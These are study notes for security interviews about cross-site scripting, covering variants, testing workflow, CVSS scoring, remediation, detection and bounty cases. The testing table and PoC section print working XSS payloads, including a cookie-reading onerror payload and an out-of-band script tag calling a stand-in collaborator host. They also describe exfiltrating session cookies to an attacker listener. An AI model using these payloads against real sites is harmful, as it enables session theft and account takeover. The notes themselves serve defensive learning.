

XSS — Interview Revision Notes

CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation) **OWASP:** A03:2021 – Injection

1. Describe XSS logically

- Attacker injects JS → app renders/executes it in victim's browser within trusted origin
- Browser can't distinguish attacker JS from legit app JS → runs with full origin privileges
- Root cause: untrusted data reaches render/execution sink without context-aware encoding
- Taint model: source → sink → (missing) sanitizer

2. OWASP / CWE mapping

- OWASP Top 10 2021: **A03 – Injection**
- CWE-79 (parent); CWE-80 (Basic Script Filtering bypass); CWE-83 (Improper Neutralization in Attributes); CWE-116 (Improper Encoding/Escaping)
- OWASP community classification: **Server XSS** vs **Client XSS** (2x2 matrix w/ Stored/Reflected)

3. Variants

- **Reflected** (Type I, non-persistent) — input echoed in immediate response, needs UI:R click
- **Stored** (Type II, persistent) — saved server-side, served to all visitors, no UI needed per-victim
- **DOM-based** (Type-o) — client-side only, source→sink in JS, HTTP response unchanged
- Modern axis: **Server XSS** (untrusted data → HTTP response) vs **Client XSS** (untrusted data → unsafe DOM sink); each can be Reflected or Stored
- Self-XSS — only fires in attacker's own session, not exploitable against victims

4. Attack surface / entry points

- **Reflected sources:** URL params, path segments, form fields, headers (Referer/UA/X-Forwarded-For), error messages, filenames
- **Stored sources:** comments/reviews, profile fields, tickets/chat, file metadata, admin panels, log viewers, import/export (CSV/XML)
- **Client sources:** `location.hash/search/href`, `document.referrer`, `window.name`, `postMessage`, `localStorage/sessionStorage`, AJAX/fetch responses, WebSocket messages
- **Sinks:** `innerHTML`, `document.write`, `eval`, `setAttribute(on*/href/src)`, jQuery `.html()`, `dangerouslySetInnerHTML`, `v-html`, template raw-output filters (`{!! !!}`, `| safe`)
- Cross-cutting: SVG upload, markdown renderers, rich text editors, JSONP callback param, `postMessage` handlers in iframes

5. Testing workflow (phase-based)

Phase	Verify	Manual	Burp	ZAP	Nuclei	Payload
Recon	injection points	crawl app	Site Map/crawl	Spider/Ajax Spider	<code>-tags xss</code> bulk sweep	n/a
Context ID	where input lands (HTML/attr/JS/URL)	unique marker string, view raw source	Repeater	Manual Request Editor	reflection matcher template	<code>xsstest</code> <code>123</code>
Filter fingerprint	what's blocked/encoded	char-by-char probe	Repeater diff	Fuzzer	WAF-detect templates	<code>< > " ' () ; /</code>
Payload craft	context-specific breakout	manual	Repeater/Intruder	Active Scan XSS rules	custom YAML w/ context payload	<code>"><script>alert(document.domain)</script>,-alert(1)-',javascript:alert(1)</code>
Execution confirm	JS actually runs, not just reflected	render in real browser	"Show response in browser"	manual browser render	<code>-headless</code> mode	<code>alert(document.domain)</code>
Sink tracing (DOM)	source→sink flow	manual JS review	DOM Invader	limited	weak fit, use headless+JS hooks	canary payload
Impact/OOB	session exfil proof	manual	Collaborator	manual OOB via own listener	interactsh	<code><script src="//collab.net"></script></code>

6. Evidence to collect

- Raw request/response pair (unescaped payload in raw source)
- Execution proof: screenshot/video of `alert(document.domain)` firing
- Exact context (HTML/attr/JS-string/event-handler)
- Payload used incl. any filter-bypass encoding
- **Stored:** proof of persistence + retrieval by a **second/separate session** (not just self)
- **DOM:** source→sink trace + proof server response unchanged

- OOB Collaborator/interactsh log for session exfil claim
- HttpOnly flag status (don't overclaim cookie theft if HttpOnly set)
- CSP presence/bypass result

7. Good PoC

- Minimal payload that proves execution: `<script>alert(document.domain)</script>` or `<img src=x onerror=alert(document.cookie)>`
- Full crafted delivery artifact (URL for Reflected/DOM; steps to reach stored field for Stored)
- Reproduced in fresh/incognito session (rules out self-XSS/dev-tools artifact)
- Escalated PoC: OOB callback with `document.cookie` /session token exfil to attacker listener
- Business-impact narrative: what real action attacker could take (not just alert box)

8. Attack chains

- XSS → CSRF-token theft → forged state-changing request (defeats CSRF protection)
- XSS → session hijack → account takeover
- Stored XSS (admin-facing) → privilege escalation → full admin compromise
- Self-XSS + Login CSRF/OAuth redirect_uri abuse → forced execution in victim session (real HackerOne pattern)
- XSS → BeEF-style browser hooking → internal network pivot
- XSS + Open Redirect → payload delivery via trusted-looking URL
- Reflected XSS → cookie parsing bug → persistent XSS (Yelp case, see Q23)
- Worm propagation (self-injecting stored payload)

9. Common false positives

- Payload reflected but HTML-entity encoded (framework auto-escape working) — inert
- CSP blocks execution despite injection point existing — downgrade, don't zero-out
- Scanner "Reflected XSS - Likely" without manual browser confirmation
- HttpOnly cookie present → can't claim cookie theft (reframe impact instead)
- Sandboxed iframe (`sandbox` w/o `allow-scripts`) — contained
- Self-XSS — no deliverable path to victim
- Sanitizer allowlist correctly stripping dangerous tags while allowing safe formatting

10. Prerequisites

- Unsanitized sink reachable by attacker-controlled data (the vuln)
- **Reflected/DOM:** victim must click crafted URL/request while authenticated (social engineering) — DOM needs no server round-trip so server-side filters irrelevant
- **Stored:** just write access to a rendered field; zero interaction after injection
- Attacker infra for exfil (listener/OOB service)
- For DOM: attacker needs client JS visibility (view-source/bundles/source maps) to find source→sink

11. What attacker gains

- Session hijack (cookie/token theft if not HttpOnly)
- Credential phishing overlay (in-origin, high trust)
- Keylogging
- CSRF-token theft → forge authenticated requests
- Full account takeover
- Privilege escalation (admin session hijack)
- MFA bypass (executes post-auth, already-satisfied session)
- Worm propagation / lateral spread
- Browser-as-pivot (BeEF) into internal network
- DOM data scraping (PII, API keys, tokens visible client-side)
- Defacement / forced redirects

12. CIA impact table

Type	Confidentiality	Integrity	Availability	Vector (baseline)
Stored	High	High	Low-Med	AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Reflected	Med-High	Med-High	Low	AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
DOM	Med-High	Med-High	Low	AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

- Capability ceiling identical across types (full session access); differs on likelihood/delivery, not CVSS impact metrics
- **UI:R** for Stored = victim must *view* page (not click link); for Reflected/DOM = victim must click crafted link

13. CVSS severity/vector

- Baseline all types: **CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N** → **6.1 Medium**
- Escalated (session hijack/admin context demonstrated): **C:H/I:H** → **8.1–9.6 High/Critical**
- **S:C** (Scope Changed) always — executes in victim browser's security context, distinct component
- **AC:H** if reliable exploitation needs complex filter-bypass encoding
- Self-XSS: no valid UI:R path to 3rd party → Informational / no score

14. Business impact (financial app)

- Payment/checkout page XSS → cardholder data exposure via overlay/keylogging → **PCI-DSS** scope expansion
- Session hijack on banking session → unauthorized fund transfer via forged authenticated request
- Admin-facing stored XSS in support tickets → full backend access → systemic customer data breach
- **GDPR** Art.33 (72hr breach notification) if PII exfil demonstrated; **HIPAA** if PHI-adjacent
- Reputational + regulatory fines >> direct fix cost — push for Critical framing when admin/shared surfaces hit

15. IOCs / signals

- WAF/logs: `<script`, `onerror=`, `javascript:`, encoded variants, OOB domains (burpcollaborator/interactsh) in params
- Base64/hex obfuscated JS blobs (`eval(atob(...))`)
- Scanner fuzzing patterns (repeated payload permutations from same IP)
- Stored content w/ HTML/JS where plain text expected — flag on write
- CSP violation report spikes (`report-uri` endpoint)
- Unexpected outbound requests from admin browsers to unfamiliar domains
- Content-Type mismatch (JSON served as text/html — sniffing risk)

16. Root cause (code-level)

- Untrusted input concatenated into HTML/JS output without context-aware encoding

```
// Server XSS
response = "<div>" + user_input + "</div>"

// Client XSS
element.innerHTML = tainted_source
```

- Core failure: treating structured output (HTML/JS) as plain string concat
- Wrong-context encoding is a false-fix (HTML-encoding data going into JS-string context still breakable)

17. Remediation / secure coding

- Context-aware output encoding at render time (HTML body / attribute / JS-string / URL / CSS — each different)
- Enable & never bypass framework auto-escaping:

```
Jinja2/Django: {{ var }} safe, render_template_string(f"...") unsafe
Java: Encode.forHtml() / Encode.forJavaScript() (OWASP Java Encoder)
EJS: <%= %> safe, <%- %> unsafe
React: {var} safe, dangerouslySetInnerHTML unsafe
Razor: @var safe, Html.Raw() unsafe
```

- DOM XSS: prefer `textContent` over `innerHTML`; if HTML needed → `DOMPurify.sanitize()`
- Never blacklist/regex-filter as primary defense — encoding must match context, not input filtering

18. Compensating controls

- CSP (`script-src 'self' 'nonce-...'`, no `unsafe-inline`) — report-only → enforce, staged rollout
- Cookie flags: `HttpOnly; Secure; SameSite=Strict` (blocks cookie-theft path specifically)

- WAF rules (interim, not root-fix)
- Input validation (defense-in-depth, not primary)
- Subresource Integrity (SRI) for third-party scripts

19. Repeated occurrence = signals

- Missing/bypassed centralized output-encoding — framework autoescape disabled or routinely bypassed (`Html.Raw`, `dangerouslySetInnerHTML`, `v-html` overused)
- No SAST/taint-mode coverage for JS/DOM sinks
- Lack of CSP as safety net
- SDLC gap: no secure-code review gate catching raw-HTML escape hatches pre-merge
- Same "systemic control failure" framing as recurring IDOR — not per-field bugs

20. Upstream improvements

- Semgrep taint-mode rule (source: DOM read APIs → sink: unsafe write APIs → sanitizer: DOMPurify/encodeURIComponent):

```
mode: taint
pattern-sources: [location.hash, location.search, document.referrer, window.name]
pattern-sanitizers: [DOMPurify.sanitize(...), encodeURIComponent(...)]
pattern-sinks: [$EL.innerHTML = ..., document.write(...), eval(...)]
severity: WARNING # staged WARNING → BLOCKING
```

- CodeQL: use built-in `js/xss` standard query (mature DOM.qll taint library) vs hand-rolled
- Centralize raw-HTML rendering through single sanitizer-wrapped utility (shared-library pattern, same as IDOR)
- Lint rule flagging `dangerouslySetInnerHTML` / `v-html` / `Html.Raw` usage requiring review sign-off
- CSP baked into framework/boilerplate by default
- Design checklist item: "any raw HTML output reviewed + sanitized"

21. Sample triage response

"Confirmed [Stored/Reflected/DOM] XSS at [endpoint/param]. Payload `<payload>` executes in [context] without required encoding, verified via `alert(document.domain)` in a fresh session[, and cross-session retrieval for Stored]. Session cookie is [HttpOnly: yes/no] — [impact reframed / cookie theft demonstrated via Collaborator]. CVSS `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N` (8.1, High). Recommend immediate context-aware output encoding fix + CSP as defense-in-depth."

22. Sample developer remediation note

"Root cause: `[file:line]` renders `[param]` via `[innerHTML]` /raw template output] without encoding. Fix: replace with `[textContent]` / `Encode.forHtml()` /framework auto-escape `{{ }}`]; if raw HTML genuinely required, wrap with `DOMPurify.sanitize()`. Add `HttpOnly` / `SameSite=Strict` to session cookie if missing. Retest: resubmit `<script>alert(1)</script>` — expect encoded output `<script>`, no popup. Check sibling endpoints using same component for same pattern."

23. Real-world examples

- **Yelp (HackerOne, \$6,000 bounty)** — Reflected XSS via unescaped cookie value, combined with a cookie-parsing issue to make it persistent; researcher demonstrated business + normal account takeover
- **Uber** — Stored XSS on `auth.uber.com/oauth/v2/authorize` via `redirect_uri` param → account takeover (\$3,000 bounty)
- **CVE-2020-13487** — Authenticated Stored XSS in bbPress (WordPress forum plugin)
- **InnoGames (tribalwars)** — CSRF token leak chained to Stored XSS → account takeover (186 upvotes, \$1,100)
- **Samy worm (MySpace, 2005)** — classic self-propagating Stored XSS worm, ~1M infected profiles in 20 hrs — cite for "worm propagation" chain concept